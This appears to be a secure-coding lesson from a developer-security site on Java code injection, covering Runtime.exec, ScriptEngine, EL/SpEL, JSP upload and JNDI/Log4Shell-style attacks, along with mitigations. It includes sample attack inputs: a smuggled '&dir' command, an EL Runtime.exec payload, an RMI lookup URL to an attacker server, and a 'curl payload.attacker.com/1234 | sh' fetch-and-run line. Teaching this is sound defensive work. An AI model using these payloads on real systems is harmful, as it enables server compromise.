Code injection

Protect your applications against malicious code injection

Select your ecosystem

Code injection: the basics

What is code injection?

Code injection vulnerabilities allow attackers to inject their own desired code and have it executed by the server hosting an application, normally through user-supplied input to the application. Java has several features, classes, or frameworks that, when insecurely used, can allow malicious code injection vulnerabilities.

Command injection through a shell spawned by runtime.exec

All Java applications have an instance of the class Runtime which allows the application to interface with the environment. The method java.lang.Runtime.exec() will execute the provided string command in a separate process. When this method is used with a command interpreter (cmd.exe for instance) and unsanitized user-supplied input, this can result in command and argument injection attacks.

Code injection through the Java scripting API

The ScriptEngine provides basic scripting functionality, including the ability to use command-line shells. The Java Scripting functionality is located in the javax.script package and is a pretty simple API to use. Scripts are evaluated by the script engine’s eval() method. When this method is implemented with user-supplied input, it can allow attackers to execute their own code. Please note that in Java 15 and beyond, this ScriptEngine has been removed. To use a script engine, you will need to introduce one yourself such as GraalVM.

Insecure deserialization

Deserialization is used widely in Java in order to create objects from a byte stream. The great thing about this is that the byte stream is platform-independent, so an object serialized on one platform can be deserialized on another. Deserialization can be insecure when user-controllable data is deserialized. This can provide attackers the ability to manipulate serialized objects and provide their own malicious data to the application.

Expression language injection

The Expression Language (EL) provides a mechanism for enabling the presentation layer to communicate with application logic. Attackers may be able to perform EL injection when unvalidated, user-controlled data is provided to the EL interpreter. Attackers can exploit this to recover sensitive server-side information or execute code within the context of the application through method invocation.

Java Server Pages injection

Java Server Pages (JSP) are a server-side scripting technology that allows embedding dynamic content within HTML pages. Native Java code can be inserted into a HTML template by using JSP tags such as <% and %>. The Java code can be used to implement business logic. JSP pages are compiled and are built on the Java Servlets API, so they have access to enterprise Java web APIs such as Java Database Connectivity (JDBC) and Enterprise Java Beans (EJB). If an attacker can write or upload a JSP file to a web-accessible folder in an application and make a HTTP request that executes the page, arbitrary code execution may be possible.

JNDI injection

Java Naming and Directory Interface (JNDI) is a Java API that provides a way of looking up objects and resources using human-friendly names via directory services and other name resolution protocols. The directory and name resolution providers include LDAP, RMI and DNS. The objects that can be looked up using JNDI can include instances of Java classes. Classes can be bound to a name, such as java:comp/env/jdbc/datasource, then remotely loaded and instantiated via the JNDI API. If an attacker can supply input to the application and the value is used as the object name being looked up by a call to the JNDI API, they could trick the application into loading a class that contains malicious code from an LDAP or RMI server they control. The infamous Log4Shell vulnerability was an instance of a JNDI injection flaw within the popular Log4J library.

About this lesson

This lesson contains mini-lessons on different vulnerabilities in Java that allow for some form of code injection. You’ll learn what insecure code looks like and how to fix it to protect your applications. We will begin by exploiting a code injection vulnerability in a simple application. Then we will analyze the vulnerable code and explore some options for remediation and prevention.

FUN FACT

James Gosling oak tree

Did you know Java was originally named Oak, after the Oak tree outside James Gosling's office? It had to be changed as there was already a computer company called Oak. Legend has it that the name change was discussed in a local cafe, where they came up with the name “Java”. There might be some truth to this as the “0xCafeBabe” magic number in class files was named after the Cafe where the Java team would get coffee.

Code injection in action

JSP injection

JSP injection

  • STEP 1
  • STEP 2
  • STEP 3
  • STEP 4
  • STEP 5

Setting the stage

For this example, we assume you’re running below Java 15. Let’s do some hacking and do a JSP code injection! Click start to begin.

java-code-injection-start.svg

Command injection through a shell spawned by runtime.exec

Have you ever been to a website that shows a document and the URL ends in something like file=myfile.doc? If you were to change the URL slightly, you could elicit command injection.

Try replacing the URL parameter file=myfile.doc with ?file=myfile.doc&dir

In the response, you might get the directory listing displayed in addition to the file contents. We're able to inject an additional command in order to get a peak at the file system.

Code injection through the Java scripting API

Imagine we're presented with a prompt to change the name of an image. In the input, instead of naming your image something benign like “my dog” try injecting some JavaScript. For example:

This will write a new file to the system called “hacked.txt” with a cheeky message.

Expression language injection

We can replace a url parameter with ?vulnerable=T(java.lang.Runtime).getRuntime().exec(“cmd.exe /C dir”) to list the directory contents of the victim machine.

JNDI injection

To exploit an example application vulnerable to JNDI injection we first create a malicious RMI server:

After building and running the above malicious RMI server on our host at IP address 10.1.2.34, we inject the address that will be resolved by the JNDI lookup executed by the vulnerable application: http://vulnerable-jndi.app/chk_config?datasource=rmi://10.1.2.34:1097/Object

The JNDI lookup will retrieve the object named Object served by the attacker’s RMI server and it will be deserialised. The object extends javax.naming.Reference, and the org.apache.naming.factory.BeanFactory factory will be used to instantiate the actual malicious object from the Reference (in this case the javax.el.ELProcessor)which triggers remote code execution via expression language evaluation.

Code injection under the hood

Java Server Pages injection

This example shows how unrestricted file upload in a vulnerable application can result in arbitrary code execution through JSP injection. The file upload endpoint saves any uploaded file within a web-accessible folder and does not validate the file type. The source code of upload.jsp is shown:

By saving a file with a .jsp extension to the /uploads folder, the Tomcat web server will compile the page when it is requested via the https://vulnerable.app/uploads/<myupload>.jsp URL and Java code within it will be executed.

Command injection through a shell spawned by runtime.exec

Here we can see user-supplied input passed to the Runtime.getRunTime().exec method without any sort of sanitization or validation occurring. An attacker would be able to string their own command into this, for example by injecting file.doc & dir to list the directory contents.

Code injection through the Java scripting API

In this example, a script is supplied through user input and passed directly to the script engine. This is dangerous as Java methods can be accessed and run from within the ScriptEngine, including the runtime.exec() method that we demonstrated above.

Expression language injection

In this example, we’re going to look at the Spring Expression Language (SpEL). Spring Framework provides a JSP tag used to evaluate SpEL. If unvalidated expressions are evaluated an attacker may be able to execute their own code. Below is an example of a vulnerable Spring Eval tag:

<spring:eval expression="${param.vulnerable}" />

Additionally, Spring Message tags will evaluate any nested JSP EL found within the scope attribute below.

<spring:message scope=”${param.vulnerable}”/>

Just like the first two vulnerabilities we talked about, attackers can execute system commands by injecting the runtime.exec() method.

JNDI injection

Looking under the hood at the code for our vulnerable servlet that is mapped to the /chk_config route, we can see that the request parameter datasource is passed directly, unvalidated to the InitialContext.lookup() API call:

An application is not necessarily vulnerable to code execution via JNDI lookup injection, however, if the org.apache.naming.factory.BeanFactory class is in the classpath (as it is in the Apache Tomcat Server framework) then it can be exploited as a gadget for unsafe reflection because it creates the real malicious object from the reference and this is when code execution can occur. BeanFactory is not the only gadget that can be exploited, other applications may use object factories with unsafe reflection.

In other words, in our vulnerable app, when the datasource parameter points to a malicious RMI registry and the named object is deserialized, there is no code that gets executed. The malicious object however, extends javax.naming.Reference, and the org.apache.naming.factory.BeanFactory factory will be used to instantiate the actual malicious object from the Reference.

In the example payload, the malicious javax.el.ELProcessor object triggers remote code execution via expression evaluation and the payload shown in the example will execute the command curl payload.attacker.com/1234 | sh.

Impacts of code injection

If a code injection vulnerability exists in an application, the security impact is that an attacker is able to execute arbitrary server-side code.

The ability to execute server-side code can result in a total loss of integrity, availability, and confidentiality within the application. An attacker may also abuse a code injection vulnerability to execute terminal commands on that server and pivot to adjacent systems.

Is code injection common?

Today, code injection is not a very common vulnerability. In general, the proliferation of server-side web frameworks and libraries over the last decade has also decreased the need to custom code many tasks, reducing the likelihood that vulnerabilities will be introduced, and increasing the ease of writing sound, secure code.

Having said this, occasionally code injections can still make their way into popular libraries. One pertinent example is the log4shell vulnerability. You can learn more about that here: https://learn.snyk.io/lessons/log4shell/java/

Despite the rarity of code injection vulnerabilities, they are included in common checks because of their critical severity.

Scan your code & stay secure with Snyk - for FREE!

Did you know you can use Snyk for free to verify that your code
doesn't include this or other vulnerabilities?

Scan your code

Code injection mitigation

JSP injection

Allowing users to upload unrestricted file types or allowing users to control the contents and filenames of files that the application writes is dangerous if those files are stored in web-accessible folders.

Controls that could be implemented in the application to prevent an attacker from writing a JSP file to a folder include:

  • Creating an allow-list of known safe file types, such as images, plain text files, or office documents, and validating that the file extensions and signatures match those types before the files are saved to the filesystem
  • Store uploaded files as blobs within a database and when downloaded again by users, ensure that the HTTP response’s Content-Disposition header indicates the file body is an attachment, which is downloaded and saved locally by the web browser
  • If the application’s functionality permits user-controlled files to be generated, ensure that the file extension is a permitted type and/or not controlled by the user, for example, to prevent users from saving files on the server side as .jsp or .html

Command injection through a shell spawned by runtime.exec

Ideally, we should not be using .exec() to call system commands, and should be implementing the equivalent functionality using native Java code. If there is no alternative, there are a few ways we could fix this code.

  • Check to see if the file exists and if it does return that file. Else, throw an error
  • ProcessBuilder pb = new ProcessBuilder("cmd.exe", ”/C”, ”type”, file);

By ensuring that the user-supplied value file is a single argument to the operating system command being executed by ProcessBuilder, any special characters will be automatically escaped and treated as part of the file name.

Code injection through the Java scripting API

As a general rule of thumb, we shouldn’t be passing externally-provided values to a scripting engine. If it’s necessary, we could fix this code by using a whitelist to ensure only expected values are passed by adding the below code:

Expression language injection

The best way to protect your application against expression language injection is to avoid passing user data into the expression interpreter. If this isn’t feasible, user-supplied data needs to be validated.

In versions 3.0.6 above, the following configuration can be placed in web.xml to disable the double resolution functionality which will stop any nested JSP EL from executing.

Spring Expression Language Support
springJspExpressionSupport
false

JNDI injection

Custom applications that pass unvalidated user-supplied data to the InitialContext.lookup() JNDI API call creates a security risk even in the most recent JDK installations. No user-controlled data should be passed to the JNDI lookup function, however, if it is absolutely necessary, the address prefix should be generated server-side:

An allow-list of address schemes and hostnames could also be used to validate the JNDI resource address:

Also, beware that other vulnerabilities such as deserialization of untrusted data could lead to JNDI resolution and injection in some cases.

Quiz

Test your knowledge!

Quiz

Which Java function is often associated with code injection vulnerabilities if improperly used?

Keep learning

To learn more about code injection, check out some other great content:

Congratulations

You have taken your first step into learning what code injection is, how it works, what the impacts are, and how to protect your own applications. We hope that you will apply this knowledge to make your applications safer.

We'd really appreciate it if you could take a minute to rate how valuable this lesson was for you and provide feedback to help us improve! Also, make sure to check out our lessons on other common vulnerabilities.